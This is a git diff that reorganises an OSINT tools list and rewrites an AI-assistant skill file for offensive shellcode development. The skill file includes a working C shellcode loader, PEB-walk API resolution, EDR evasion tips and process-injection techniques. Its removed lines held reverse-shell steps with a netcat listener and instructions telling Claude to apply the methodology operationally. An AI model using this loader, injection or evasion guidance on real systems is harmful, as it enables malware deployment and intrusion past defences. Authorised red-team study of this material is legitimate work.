-### Satellite Imagery and Mapping
-
-- [Google Maps](https://www.google.com/maps): Mapping and satellite imagery.
-- [Bing Maps](https://www.bing.com/maps/): Alternative mapping service.
-- [NOAA Maps](https://coast.noaa.gov/dataviewer/#/imagery/search/): Coastal imagery.
-- [NASA FIRMS](https://firms.modaps.eosdis.nasa.gov/map/): Fire data and HotSpots.
-- [OpenStreetMap](https://www.openstreetmap.org/): Open-source map of the world.
-- [Sentinel Hub EO Browser](https://apps.sentinel-hub.com/eo-browser/): Access to satellite imagery from Sentinel and Landsat.
-- [NASA Worldview](https://worldview.earthdata.nasa.gov/): Satellite imagery from NASA.
-- [Zoom Earth](https://zoom.earth/) : Live satellite images and weather data.
-- [Wayback Imagery](https://livingatlas.arcgis.com/wayback/) : Historical satellite images.
-- [Windy](https://www.windy.com/): Live weather map.
-- [Open Infrastructure Map](https://openinframap.org/): Visualize global infrastructure(Water, Power, Gas, etc) networks
-- [Memento Timemap](https://timetravel.mementoweb.org/): Aggregate archive index for any URL (for map UIs and tiles)
-
-### Tools and Applications
-
-- [Mapillary](https://www.mapillary.com/app): CrowdSourced street-level imagery.
-- [KartaView](https://kartaview.org/): Open-source street-level imagery.
-- [Overpass Turbo](https://overpass-turbo.eu/): Advanced querying of OpenStreetMap data.
-- [SunCalc](https://www.suncalc.org/): Sun position calculator for Chronolocation.
-- [PeakVisor](https://peakvisor.com/): Identify mountain peaks.
-- [GeoNames](https://www.geonames.org/): Geographical database.
-- [SAS Planet](https://www.sasgis.org/sasplaneta/): Satellite imagery viewing application.
-- [Marble](https://marble.kde.org/): Virtual globe and world atlas.
-- [C2PA Verify](https://verify.contentauthenticity.org/): Verify embedded content credentials
-
-### Street View
-
-- [Google Street View](https://www.google.com/maps): Street-level imagery.
-- [Apple Maps](https://maps.apple.com/): Alternative mapping service.
-- [Yandex Maps](https://yandex.com/maps/): Russian mapping service with street view.
-- [Baidu Maps](https://map.baidu.com/): Chinese mapping service.
+- [YouTube Data Viewer](https://citizenevidence.amnestyusa.org/) — Extract YouTube metadata
+- [InVID & WeVerify](https://www.invid-project.eu/tools-and-services/invid-verification-plugin/) — Video verification browser extension
+- [YouTube Geo Tag](https://mattw.io/youtube-geofind/location) — Video geolocation via geo tags
+- [MediaInfo](https://mediaarea.net/en/MediaInfo) — Technical/tag info for video/audio
+- Snap Map (public stories) — Area/event context
+
+### Browser Extensions for Media
+
+- [Fake News Debunker by InVID & WeVerify](https://chrome.google.com/webstore/detail/fake-news-debunker-by-inv/mhccpoafgdgbhnjfhkcmgknndkeenfhe)
+- [RevEye Reverse Image Search](https://chrome.google.com/webstore/detail/reveye-reverse-image-sear/kejaocbebojdmebagkjghljkeefgimdj)
+- [EXIF Viewer Pro](https://chrome.google.com/webstore/detail/exif-viewer-pro/mmbhfeiddhndihdjeganjggkmjapkffm)
+- [Wayback Machine Extension](https://chrome.google.com/webstore/detail/wayback-machine/fpnmgdkabkmnadcjpehmlllkndpkmiak)
+- [Search by Image](https://chromewebstore.google.com/detail/search-by-image/cnojnbdhbhnkbcieeekonklommdnndci)
+
+---
+
+## Geospatial Intelligence
+
+### Satellite Imagery & Mapping
+
+- [Google Maps](https://www.google.com/maps) / [Bing Maps](https://www.bing.com/maps/) — General mapping
+- [Sentinel Hub EO Browser](https://apps.sentinel-hub.com/eo-browser/) — Sentinel/Landsat satellite imagery
+- [NASA Worldview](https://worldview.earthdata.nasa.gov/) — NASA satellite imagery
+- [Zoom Earth](https://zoom.earth/) — Live satellite images and weather
+- [Wayback Imagery](https://livingatlas.arcgis.com/wayback/) — Historical satellite images
+- [NASA FIRMS](https://firms.modaps.eosdis.nasa.gov/map/) — Fire/hotspot data
+- [Open Infrastructure Map](https://openinframap.org/) — Global infrastructure networks
+- [Windy](https://www.windy.com/) — Live weather map
+
+### Geolocation Tools
+
+- [Mapillary](https://www.mapillary.com/app) — Crowdsourced street-level imagery
+- [KartaView](https://kartaview.org/) — Open-source street-level imagery
+- [Overpass Turbo](https://overpass-turbo.eu/) — Advanced OpenStreetMap queries
+- [SunCalc](https://www.suncalc.org/) — Sun position for chronolocation
+- [GeoNames](https://www.geonames.org/) — Geographical database
+- [PeakVisor](https://peakvisor.com/) — Identify mountain peaks
+- [GeoGuesser tips](https://somerandomstuff1.wordpress.com/2019/02/08/geoguessr-the-top-tips-tricks-and-techniques/) — Geolocation methodology
+
+**Street View:** Google Street View, [Apple Maps](https://maps.apple.com/), [Yandex Maps](https://yandex.com/maps/), [Baidu Maps](https://map.baidu.com/)
### Flight OSINT
-- [FlightRadar](https://www.flightradar24.com/)
-- [FlightAware](https://www.flightaware.com/)
-- [RadarBox](https://www.radarbox.com/)
-- [ADSBExchange](https://www.adsbexchange.com/): Unfiltered community ADS‑B flight tracking feed
-- [AirFrames](https://www.airframes.org/)
-- [Planespotters](https://www.planespotters.net/): Fleet/airframe history and photos by tail number
-- [JetPhotos](https://www.jetphotos.com/): Spotter photos for visual confirmation
-
-## Maritime OSINT
-
-- [MarineTraffic](https://www.marinetraffic.com/): Live AIS vessel tracking
-- [VesselFinder](https://www.vesselfinder.com/): Global ship movements and port calls
-- [FleetMon](https://www.fleetmon.com/): Historical AIS data and analytics
-- [Global Fishing Watch](https://globalfishingwatch.org/map/): Fishing vessel behavior and AIS gap analysis
-
-## AI‑Assisted OSINT Platforms
-
-### Commercial/Enterprise AI Tools
-
-- [Cylect](https://www.cylect.io/): AI‑powered entity extraction and link‑analysis workspace
-- [Fivecast Matrix](https://www.fivecast.com/products/matrix/): Generative‑AI triage and risk scoring for large social‑media datasets
-- [Recorded Future](https://www.recordedfuture.com/): AI-driven threat intelligence and entity tracking
-- [DarkOwl Vision](https://www.darkowl.com/): AI-powered darknet data collection and analysis
-
-### AI-Powered Analysis
-
-> [!WARNING]
-> Never paste PII, sensitive IOCs, or unique pivots into cloud LLMs; they log inputs and may use for training. Prefer local models (Ollama, LM Studio) for sensitive analysis.
-
-- [OpenAI ChatGPT](https://chat.openai.com/) [Paid for Advanced Data Analysis]: Parse logs, analyze datasets, geo-inference, timeline reconstruction
- - Code Interpreter: Upload CSVs, logs, JSON for automated analysis
- - GPT-4 Vision: Image analysis, OCR, visual geolocation hints
- - **Warning**: OpenAI logs all inputs; do not use for sensitive cases
-- [Anthropic Claude](https://claude.ai/) [Paid for Claude 3.5 Sonnet]: Long context (200K tokens) for processing large document dumps, report synthesis
- - Claude Artifacts: Generate interactive visualizations and tools
- - **Warning**: Anthropic logs prompts; sanitize before use
-- [Google Gemini](https://gemini.google.com/):
- - Gemini 1.5 Pro: 2M token context (largest available); good for massive log analysis
- - Deep Research mode: Multi-step research automation with citations
- - **Warning**: Google integration risk; assume correlation with search/Gmail data
-- [Perplexity Pro](https://www.perplexity.ai/) [Paid]: Real-time web search + reasoning; excellent for context pivots and background research
- - Focus mode: Academic, Reddit, YouTube, or general web
- - Pro search: Deep research with multi-query synthesis
-- [Microsoft Copilot](https://copilot.microsoft.com/): Bing-integrated search; good for generic queries
-- **Local LLM alternatives** (privacy-preserving):
- - [Ollama](https://ollama.com/): Run Llama 3, Mistral, Qwen locally
- - [LM Studio](https://lmstudio.ai/): GUI for local model inference
- - [GPT4All](https://gpt4all.io/): Privacy-focused local LLM runner
-
-### Specialized AI OSINT Tools
-
-- [C2PA Verify](https://verify.contentauthenticity.org/): Verify Content Credentials and AI provenance metadata
-- [Adobe Content Credentials Verify](https://contentcredentials.org/verify): Alternative C2PA verifier
-- [Hive Moderation](https://hivemoderation.com/): AI content moderation and CSAM detection
-- [CarNet](https://carnet.ai/): Identify car models via AI (useful for geolocation)
-- [FingerprintJS](https://fingerprintjs.com/): Browser fingerprinting and bot detection
-- [Sensity AI](https://sensity.ai/): Deepfake detection and synthetic media analysis
-- [Reality Defender](https://realitydefender.com/): Deepfake and AI-generated content detection
-
-## Archiving & Snapshots
-
-- [archive.today](https://archive.today/): One‑page content archiver with screenshot capability
-- [Memento Timemap](https://timetravel.mementoweb.org/): Aggregate index of web archives for any URL
-- [URLScan.io](https://urlscan.io/): On‑demand webpage scan with full resource map and screenshot
-- Wayback SavePageNow API v3: On‑demand archiving with submission status and job IDs
-- WACZ packaging (Webrecorder): Portable, verifiable web archives for replay
-- [ArchiveBox](https://archivebox.io/): Self-hosted web archiving; captures HTML, PDF, screenshots, media
-- [SingleFileZ](https://github.com/gildas-lormeau/SingleFileZ): Browser extension for offline single-file HTML archives
-- [Hunchly](https://www.hunch.ly/): Evidence capture tool for investigators (paid)
-- [Kasm Workspaces](https://kasmweb.com/): Containerized OSINT workspace images (browser isolation)
+- [FlightRadar24](https://www.flightradar24.com/) / [FlightAware](https://www.flightaware.com/) / [RadarBox](https://www.radarbox.com/)
+- [ADSBExchange](https://www.adsbexchange.com/) — Unfiltered community ADS-B feed
+- [Planespotters](https://www.planespotters.net/) — Fleet/airframe history by tail number
+- [AirFrames](https://www.airframes.org/) / [JetPhotos](https://www.jetphotos.com/) — Visual confirmation
-## Automation & Workflows
+### Maritime OSINT
-- [n8n](https://n8n.io/): Self-hosted workflow automation for OSINT pipelines (e.g., monitor RSS → scrape → alert)
-- [Huginn](https://github.com/huginn/huginn): Agent-based automation for monitoring, scraping, alerting
-- [Cronicle](https://github.com/jhuckaby/Cronicle): Distributed task scheduler for recurring OSINT jobs
-- [Apache Airflow](https://airflow.apache.org/): Workflow orchestration for complex data pipelines
-- [Prefect](https://www.prefect.io/): Modern workflow orchestration; easier than Airflow
+- [MarineTraffic](https://www.marinetraffic.com/) — Live AIS vessel tracking
+- [VesselFinder](https://www.vesselfinder.com/) — Global ship movements and port calls
+- [FleetMon](https://www.fleetmon.com/) — Historical AIS data and analytics
+- [Global Fishing Watch](https://globalfishingwatch.org/map/) — Fishing vessel behavior and AIS gap analysis
-## Additional Tools
+---
-### IP and Network Analysis
+## AI-Assisted OSINT
-- [Spur](https://spur.us/): IP lookups and tracking
-- [Robtex](https://www.robtex.com/): Passive DNS and infrastructure pivots
-- [BinaryEdge](https://www.binaryedge.io/), [FOFA](https://fofa.so/), [ZoomEye](https://www.zoomeye.org/): Infra pivots complementing Shodan/Censys
+> **Warning:** Never paste PII, sensitive IOCs, or unique pivots into cloud LLMs. They log inputs and may use them for training. Use local models (Ollama, LM Studio) for sensitive analysis.
-### ASN/BGP & Internet Measurement
+| Tool | Strength |
+|------|---------|
+| [ChatGPT](https://chat.openai.com/) (paid) | Log parsing, dataset analysis, Code Interpreter for CSVs/JSON, GPT-4 Vision for image OCR |
+| [Claude](https://claude.ai/) (paid) | 200K token context for large document dumps and report synthesis |
+| [Gemini 1.5 Pro](https://gemini.google.com/) | 2M token context; Deep Research mode with citations |
+| [Perplexity Pro](https://www.perplexity.ai/) (paid) | Real-time web search + reasoning; multi-query synthesis |
-- [Hurricane Electric BGP Toolkit](https://bgp.he.net/): ASN, prefix, peers, and IRR data
-- [RIPEstat](https://stat.ripe.net/): IP/ASN history, routing, geolocation, abuse contacts
-- [BGPView](https://bgpview.io/): ASN and prefix explorer
-- [PeeringDB](https://www.peeringdb.com/): Facility and peering info for networks
-- [RADb](https://www.radb.net/), [RIPE IRR](https://www.ripe.net/manage-ips-and-asns/db): Routing policy and contacts
-- [RPKI Validators](https://rpki.cloudflare.com/): Route origin and ROA status checks
-- [bgp.tools](https://bgp.tools/) [Free]: Clean ASN/IX views, routing details
+**Local/privacy-preserving:** [Ollama](https://ollama.com/) (Llama 3, Mistral), [LM Studio](https://lmstudio.ai/), [GPT4All](https://gpt4all.io/)
-### Certificates & CT Monitoring
+### Commercial AI OSINT Platforms
-- [crt.sh](https://crt.sh/): Search Certificate Transparency logs
-- [Censys Certificates](https://search.censys.io/certificates): CT and x509 attribute pivots
-- [CertStream](https://certstream.calidog.io/): Real‑time CT feed (via WebSocket)
-- [Rapid7 Open Data](https://opendata.rapid7.com/): Sonar datasets (DNS/HTTP/SSL)
-- [Favicons/mmh3](https://github.com/devincao/favicons-hash): Hash favicons to cluster infra; pair with Shodan/Censys favicon search
-- [Cert Spotter](https://sslmate.com/certspotter) [Freemium]: CT monitoring and alerts
-- [Let's Debug](https://letsdebug.net/) [Free]: Diagnose certificate issuance issues
-
-### Social Media Intelligence
-
-- [Discord ID](https://discord.id/): Basic Discord account information
-- [TelegramDB Search Bot](https://t.me/TGdb_bot): Basic Telegram OSINT
-- [TGStat](https://tgstat.com/): Channel statistics and message search
-- Bluesky explorers (e.g., SkyView), Mastodon handle/instance resolvers
-
-### Telegram & Messaging Analytics
-
-- [TGStat](https://tgstat.com/): Channel analytics and search
-- [Telemetr](https://telemetr.io/): Channel growth, overlaps, forwards
-- [Combot](https://combot.org/): Group analytics (partially paid)
-- [t.me/s/<channel>](https://t.me): Public channel feed view (replace with channel name)
-- WeChat OA search via [Sogou Weixin](https://weixin.sogou.com/): Search WeChat Official Accounts content
-
-### Infrastructure & Attack‑Surface OSINT
-
-- [Shodan](https://www.shodan.io/): Search engine for internet‑connected devices and services
-- [Censys](https://search.censys.io/): Enumerate hosts and digital certificates across the internet
-- [GreyNoise](https://viz.greynoise.io/): Distinguish background internet noise from targeted scans
-- [SecurityTrails](https://securitytrails.com/): Passive DNS records and asset discovery
-- [SpiderFoot](https://www.spiderfoot.net/): Automated OSINT reconnaissance and correlation (self‑host or SaaS)
-- [theHarvester](https://github.com/laramies/theHarvester): Subdomain, email, and metadata harvesting
-- [Recon‑ng](https://github.com/lanmaster53/recon-ng): Web‑based recon framework
-- [BuiltWith](https://builtwith.com/): Tech stack enumeration; useful for pivoting to third‑party assets
-- [Netlas](https://netlas.io/): Large‑scale HTTP/DNS/certificates pivots
-- [Amass](https://github.com/owasp-amass/amass) / [Subfinder](https://github.com/projectdiscovery/subfinder) [Free]: Passive subdomain discovery (use responsibly)
-- [RiskIQ PassiveTotal](https://community.riskiq.com/): Passive DNS/cert/host pivots
-
-### Threat Intel & IOCs
-
-- Vendor & CERT advisories: CISA/NSA/CSA joint advisories, CERT‑EU, NCSC‑UK, JPCERT/CC, CERT‑UA
-- [MISP Project](https://www.misp-project.org/) and public MISP feeds
-- [OpenCTI](https://www.opencti.io/): Knowledge graph for CTI (self‑host or SaaS)
-- [Malpedia](https://malpedia.caad.fkie.fraunhofer.de/): Malware families, YARA, references
-- [abuse.ch ThreatFox](https://threatfox.abuse.ch/), [URLHaus](https://urlhaus.abuse.ch/), [SSLBL](https://sslbl.abuse.ch/)
-- [MalwareBazaar](https://bazaar.abuse.ch/): Sample sharing (hash‑based queries)
-- [PhishTank](https://www.phishtank.com/), [OpenPhish](https://openphish.com/)
+- [Cylect](https://www.cylect.io/) — AI entity extraction and link-analysis
+- [Fivecast Matrix](https://www.fivecast.com/products/matrix/) — Generative-AI triage for social-media datasets
+- [Recorded Future](https://www.recordedfuture.com/) — AI-driven threat intelligence
+- [DarkOwl Vision](https://www.darkowl.com/) — AI-powered darknet data analysis
-### Malware Analysis & Sandboxes
+### Deepfake & Synthetic Media Detection
-- Static: [pefile](https://github.com/erocarrera/pefile), [FLOSS](https://github.com/mandiant/flare-floss), [capa](https://github.com/mandiant/capa)
-- Similarity: [SSDEEP](https://ssdeep-project.github.io/ssdeep/), [TLSH](https://github.com/trendmicro/tlsh)
-- Sandboxes: [ANY.RUN](https://any.run/), [Hybrid Analysis](https://www.hybrid-analysis.com/), [CAPE](https://capesandbox.com/), [Tria.ge](https://tria.ge/)
-- Intelligence: [Intezer](https://analyze.intezer.com/) (code reuse), [VirusTotal](https://www.virustotal.com/) (be cautious—uploads become public)
-- YARA: [yara](https://virustotal.github.io/yara/), community rules via Malpedia/GitHub repos
-- TLS Fingerprints: [JA3](https://github.com/salesforce/ja3), [JA4](https://github.com/FingerprinTLS/ja4)
+- [Sensity AI](https://sensity.ai/) — Deepfake detection
+- [Reality Defender](https://realitydefender.com/) — AI-generated content detection
+- [Adobe Content Credentials Verify](https://contentcredentials.org/verify) — C2PA verifier
+- [CarNet](https://carnet.ai/) — AI car model identification (useful for geolocation)
-### RU/CN Corporate & Registries
+---
-- Russia: EGRUL/EGRIP (official registries, captcha‑gated), [Rusprofile](https://www.rusprofile.ru/), [Kontur.Focus](https://focus.kontur.ru/) (freemium), [zakupki.gov.ru](https://zakupki.gov.ru/) (procurement)
-- Russia media/social: [VK](https://vk.com/), [OK.ru](https://ok.ru/), [Rutube](https://rutube.ru/)
-- China: [GSXT](https://www.gsxt.gov.cn/) (National Enterprise Credit Info), [Qichacha](https://www.qcc.com/) / [Tianyancha](https://www.tianyancha.com/) (freemium), [MIIT ICP/Beian](https://beian.miit.gov.cn/) (ICP filings)
-- China platforms: [Weibo](https://weibo.com/), [Bilibili](https://www.bilibili.com/), [Zhihu](https://www.zhihu.com/), [Douyin](https://www.douyin.com/)
+## Archiving & Evidence Preservation
-### Regional Search Engines
+- [archive.today](https://archive.today/) — One-page content archiver with screenshot
+- [URLScan.io](https://urlscan.io/) — On-demand webpage scan with resource map
+- [ArchiveBox](https://archivebox.io/) — Self-hosted archiving (HTML, PDF, screenshots, media)
+- [Hunchly](https://www.hunch.ly/) — Evidence capture for investigators (paid)
+- Wayback SavePageNow API v3 — On-demand archiving with job IDs
+- [SingleFileZ](https://github.com/gildas-lormeau/SingleFileZ) — Browser extension for offline HTML archives
+- [Kasm Workspaces](https://kasmweb.com/) — Containerized OSINT workspace/browser isolation
-- Russia/CIS: [Yandex](https://yandex.com/), [Mail.ru Search](https://go.mail.ru/)
-- China: [Baidu](https://www.baidu.com/), [Sogou](https://www.sogou.com/), [360 Search](https://www.so.com/)
+**Evidence handling:**
+- Capture: URL + timestamp + PNG screenshot + WARC/SingleFileZ archive
+- Hash all downloaded files (SHA-256) and record in case notes
+- Separate work profiles/containers per case; store evidence read-only
+- Use JSONL (NDJSON) logs with `run_id` and tool versions for reproducibility
-### Sanctions & Compliance
+---
-- [OFAC SDN List](https://sanctionssearch.ofac.treas.gov/)
-- [EU Sanctions Map](https://www.sanctionsmap.eu/)
-- [UK Sanctions List (OFSI)](https://www.gov.uk/government/collections/financial-sanctions-regime-specific-consolidated-lists-and-releases)
-- [OpenSanctions](https://www.opensanctions.org/): Aggregated persons/entities datasets
-- [OCCRP Aleph](https://aleph.occrp.org/): Investigative documents, leaks, company records
+## Automation & Workflows
-## Automation & Headless Browsing
+- [n8n](https://n8n.io/) — Self-hosted workflow automation (e.g., RSS → scrape → alert pipelines)
+- [Huginn](https://github.com/huginn/huginn) — Agent-based monitoring, scraping, alerting
+- [Playwright](https://playwright.dev/) — Headless browser automation with stealth plugins
+- [Browsertrix Crawler](https://github.com/webrecorder/browsertrix-crawler) — Archival crawling with WARC export
+- [Prefect](https://www.prefect.io/) / [Apache Airflow](https://airflow.apache.org/) — Workflow orchestration for data pipelines
-- [Playwright](https://playwright.dev/): Headless browser automation with stealth plugins
-- [Browsertrix Crawler](https://github.com/webrecorder/browsertrix-crawler): Archival crawling with WARC export
+---
-## Evidence Handling
+## Regional Search Engines
+
+- Russia/CIS: [Yandex](https://yandex.com/), [Mail.ru Search](https://go.mail.ru/)
+- China: [Baidu](https://www.baidu.com/), [Sogou](https://www.sogou.com/), [360 Search](https://www.so.com/)
+- Russia social: [VK](https://vk.com/), [OK.ru](https://ok.ru/)
+- China social: [Weibo](https://weibo.com/), [Bilibili](https://www.bilibili.com/), [Zhihu](https://www.zhihu.com/), [Douyin](https://www.douyin.com/)
+
+---
-- Capture URLs, timestamps, and page snapshots (PNG + WARC/SingleFileZ) for every key artifact.
-- Hash downloaded files (SHA‑256) and record in your case notes.
-- Avoid cross‑contamination: separate work profiles/containers per case; store evidence read‑only.
-- Prefer JSONL (NDJSON) logs with a `run_id` and tool versions for reproducibility.
+## Telegram & Messaging Intelligence
+- [TGStat](https://tgstat.com/) — Channel analytics and search
+- [Telemetr](https://telemetr.io/) — Channel growth, overlaps, forwards
+- [Combot](https://combot.org/) — Group analytics (partially paid)
+- [TelegramDB Search Bot](https://t.me/TGdb_bot) — Basic Telegram OSINT
+- [Discord ID](https://discord.id/) — Basic Discord account information
+- Sogou Weixin search — WeChat Official Accounts content search
+- View public Telegram channels: `https://t.me/s/<channel>`
diff --git a/Skills/offensive-shellcode/SKILL.md b/Skills/offensive-shellcode/SKILL.md
index 7364aaf..508b8fb 100644
--- a/Skills/offensive-shellcode/SKILL.md
+++ b/Skills/offensive-shellcode/SKILL.md
@@ -1,381 +1,221 @@
-# SKILL: Shellcode
+---
+name: offensive-shellcode
+description: "Shellcode development reference for offensive security engagements. Use when writing custom x86/x64 shellcode, implementing position-independent code (PIC), building shellcode loaders, evading AV/EDR detection, or converting PE files to shellcode. Covers null byte avoidance, API hashing, encoder/decoder patterns, staged vs stageless payloads, Windows PEB traversal, and cross-platform shellcode techniques."
+---
+
+## Shellcode Development Workflow
+
+1. Define concept and target platform (x86/x64, Windows/Linux/macOS)
+2. Write assembly using position-independent techniques
+3. Extract binary and test in controlled environment
+4. Apply null byte avoidance and optimizations
+5. Encode/encrypt to evade static detection
+6. Package with loader and choose delivery method
-## Metadata
-- **Skill Name**: shellcode
-- **Folder**: offensive-shellcode
-- **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/shellcode.md
+---
+
+## Basic Concepts
-## Description
-Shellcode development reference: x86/x64 shellcode writing, avoiding null bytes, encoder/decoder patterns, position-independent code, staged vs stageless, custom shellcode for AV evasion, and common shellcode patterns. Use when writing custom shellcode or understanding shellcode mechanics.
+### Execution Pattern (Allocate-Write-Execute)
-## Trigger Phrases
-Use this skill when the conversation involves any of:
-`shellcode, x64 shellcode, x86 shellcode, null byte avoidance, position independent, PIC, encoder, decoder, staged shellcode, stageless, shellcode AV evasion, custom shellcode`
+Avoid direct `PAGE_EXECUTE_READWRITE` — prefer:
+1. Allocate with `PAGE_READWRITE`
+2. Write shellcode to allocated region
+3. Call `VirtualProtect` to switch to `PAGE_EXECUTE_READ`
-## Instructions for Claude
+```c
+char *dest = VirtualAlloc(NULL, 0x1234, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
+memcpy(dest, shellcode, 0x1234);
+VirtualProtect(dest, 0x1234, PAGE_EXECUTE_READ, &old);
+((void(*)())dest)();
+```
-When this skill is active:
-1. Load and apply the full methodology below as your operational checklist
-2. Follow steps in order unless the user specifies otherwise
-3. For each technique, consider applicability to the current target/context
-4. Track which checklist items have been completed
-5. Suggest next steps based on findings
+### Position-Independent Code (PIC) Techniques
+
+| Method | Platform | Notes |
+|--------|----------|-------|
+| Call/Pop | Windows | Push next addr, pop into register |
+| FPU state | Windows | `fstenv` saves instruction pointer |
+| SEH | Windows | Exception handler stores EIP |
+| GOT | Linux | Global Offset Table |
+| VDSO | Linux | Kernel-provided shared object |
---
-## Full Methodology
+## Windows API Resolution (PEB Walk)
-# Shellcode
+Identifying `kernel32.dll` without imports:
-## Introduction to Shellcode
+1. Get `PEB` via `gs:[0x60]` (x64) or `fs:[0x30]` (x86)
+2. Walk `PEB->Ldr.InMemoryOrderModuleList` — order: exe → ntdll → kernel32
+3. Hash-compare module names to locate `kernel32`
+4. Parse the Export Address Table (EAT)
+5. Find `GetProcAddress` by name hash, then resolve `LoadLibraryA`
+6. Use `LoadLibraryA` to load `WS2_32.dll`, resolve Winsock functions
-Shellcode is machine code that executes specific operations when injected into a target process's memory. It typically serves as the payload in exploits, performing actions like opening a command shell, establishing network connections, or executing arbitrary commands.
+**WinDbg helpers for debugging PEB walk:**
+```bash
+dt nt!_TEB -y ProcessEnvironmentBlock @$teb
+dt nt!_PEB -y Ldr <peb_addr>
+dt -r _PEB_LDR_DATA <ldr_addr>
+dt _LDR_DATA_TABLE_ENTRY (<init_flink_addr> - 0x10)
+lm m kernel32 # verify base address
+r @r8 # check register
+```
-## Basic Shellcode Concepts
+---
-### Shellcode Execution Pattern
+## Shellcode Loaders
-- Shellcode injection follows the "Allocate-Write-Execute" pattern:
+### Loader Responsibilities
- 1. Allocate RWX memory with size of shellcode
- 2. Write shellcode to allocated memory
- 3. Execute the content of allocated memory
+- Environment verification / keying (sandbox detection)
+- Shellcode decryption
+- Safe memory allocation and injection
+- Ends its duties after injecting
-- Avoid direct `PAGE_EXECUTE_READWRITE` allocation as it's easily flagged. Better to:
- 1. Allocate with `PAGE_READWRITE`
- 2. Write payload
- 3. Change protection to executable
+**Recommended languages:** Zig (small, no runtime), Rust (secure), Nim, Go (watch for runtime signatures)
-### Position-Independent Code Techniques
+### Allocation Phase
-```mermaid
-flowchart TB
- PIC["Position-Independent Code"]
+Avoid `RWX` allocations — use two-step:
+- `VirtualAllocEx` / `NtAllocateVirtualMemory` — allocate `RW`
+- `ZwCreateSection` + `NtMapViewOfSection` — alternative approach
+- After writing: `VirtualProtectEx` to switch to `RX`
- GetRIP["Get Current Address (RIP)"]
- Delta["Calculate Delta"]
- Relative["Use Relative Addressing"]
- Hashing["API Hashing"]
+**Other options:** code caves, stack/heap (with DEP disabled)
- PIC --> GetRIP
- PIC --> Delta
- PIC --> Relative
- PIC --> Hashing
+### Write Phase
- subgraph "Windows Techniques"
- CallPop["Call/Pop Method"]
- FPU["FPU State Method"]
- SEH["SEH Method"]
- end
+- `WriteProcessMemory` / `NtWriteVirtualMemory`
+- `memcpy` to mapped section
- subgraph "Linux Techniques"
- GOT["Global Offset Table"]
- VS["VSyscall/VDSO"]
- end
+**Evasion tips:**
+- Prepend shellcode with dummy opcodes
+- Split into chunks, write in randomized order
+- Add delays between writes
- GetRIP --> CallPop
- GetRIP --> FPU
- GetRIP --> SEH
- GetRIP --> GOT
- GetRIP --> VS
-```
+### Execute Phase
-## Shellcode Development Process
-
-```mermaid
-flowchart TB
- Concept["Concept & Requirements"]
- Assembly["Assembly Code"]
- Extraction["Binary Extraction"]
- Testing["Testing & Debugging"]
- Optimization["Optimization"]
- Encoding["Encoding & Obfuscation"]
- Delivery["Delivery Method"]
-
- Concept --> Assembly
- Assembly --> Extraction
- Extraction --> Testing
- Testing --> Optimization
- Optimization --> Encoding
- Encoding --> Delivery
-
- subgraph "Development Phase"
- Assembly
- Extraction
- Testing
- Optimization
- end
-
- subgraph "Evasion Phase"
- Encoding
- end
-
- subgraph "Exploitation Phase"
- Delivery
- end
-```
+Most scrutinized step — EDR checks thread start address against image-backed memory:
-### API Resolution for Windows Shellcode
-
-identifying `kernel32.dll`:
-
-- get `PEB->Ldr.InMemoryOrderModuleList`
-- iterate through `PEB->Ldr.InMemoryOrderModuleList`; the first entry is the exe, followed by `ntdll.dll`, and then `kernel32.dll` (Win10/11 +). Hash-compare names to locate it
-- parse export address table
-- loop over export address table to find `GetProcAddress` name
-- get function ordinal and then address ( you have access to `GetProcAddress` now)
-- ensure `GetProcAddress` is available before resolving `LoadLibraryA`; both can be fetched in the same enumeration loop
-- resolve `LoadLibraryA` using `GetProcAddress` and call it on `WS2_32.dll`
-- get and call `WSAStartup`
-- lookup `WSASocketA` and create a socket with it
-- lookup `WSAConnect` and connect to the socket
-- find the address for `CreateProcessA` from `kernel32.dll` again
-- push `cmd.exe` to stack, fill `STARTUPINFOA` and call `CreateProcessA`
-- use a `nc -nvv -p 443 -l` on your own machine and run the shellcode to connect back to it
-- p.s: don't forget to fix the IP and port
+| Technique | Notes |
+|-----------|-------|
+| `CreateRemoteThread` / `ZwCreateThreadEx` | Loud, heavily monitored |
+| `NtSetContextThread` | Hijack suspended thread |
+| `NtQueueApcThreadEx` | APC injection |
+| API trampolines | Overwrite function prologue |
+| ThreadlessInject | No new threads created |
-```bash
-# get the PEB addr
-dt nt!_TEB -y ProcessEnvironmentBlock @$teb
-# get Ldr addr
-dt nt!_PEB -y Ldr <peb_addr>
-# list loaded module linked lists
-dt -r _PEB_LDR_DATA <ldr_addr>
-# DllBase and FullDllName will help you here
-dt _LDR_DATA_TABLE_ENTRY (<intialization_flink_addr> - 0x10)
-# verify after running the python code below
-lm m kernel32
-r @r8
-```
+**Indirect execution resources:**
+- [FlavorTown](https://github.com/Wra7h/FlavorTown)
+- [AlternativeShellcodeExec](https://github.com/aahmad097/AlternativeShellcodeExec)
+- [ThreadlessInject](https://github.com/epi052/ThreadlessInject)
-### Shellcode Execution Flow (Windows)
-
-```mermaid
-flowchart LR
- Entry["Entry Point"]
- GetPEB["Get PEB Address"]
- LocateKernel["Locate kernel32.dll"]
- FindFunction["Find API Functions"]
- Payload["Execute Payload"]
- Cleanup["Cleanup & Exit"]
-
- Entry --> GetPEB
- GetPEB --> LocateKernel
- LocateKernel --> FindFunction
- FindFunction --> Payload
- Payload --> Cleanup
-
- subgraph "API Resolution"
- GetPEB
- LocateKernel
- FindFunction
- end
-
- subgraph "Core Functionality"
- Payload
- Cleanup
- end
-```
+---
-## Shellcode Loaders
+## PE-to-Shellcode Conversion
-Shellcode loaders typically follow this pattern:
+| Tool | Purpose |
+|------|---------|
+| [Donut](https://github.com/TheWover/donut) | EXE/DLL → shellcode |
+| [sRDI](https://github.com/monoxgas/sRDI) | DLL → position-independent shellcode |
+| [Pe2shc](https://github.com/hasherezade/pe_to_shellcode) | PE → shellcode |
+| [Amber](https://github.com/EgeBalci/amber) | Reflective PE packer |
-```c
-char *shellcode = "\xAA\xBB...";
-char *dest = VirtualAlloc(NULL, 0x1234, 0x3000, p_RW);
-memcpy(dest, shellcode, 0x1234)
-VirtualProtect(dest, 0x1234, p_RX, &result)
-(*(void(*)())(dest))(); // jump to dest: execute shellcode
-```
+**Open-source loaders:**
+- [ScareCrow](https://github.com/optiv/ScareCrow)
+- [NimPackt-v1](https://github.com/chvancooten/NimPackt-v1)
+- [NullGate](https://github.com/specterops/NullGate) — indirect syscalls + junk-write sequencing
+- [DripLoader](https://github.com/xuanxuan0/DripLoader) — chunked RW writes + direct syscalls + JMP trampoline
+- [ProtectMyTooling](https://github.com/mgeeky/ProtectMyTooling) — chain multiple protections
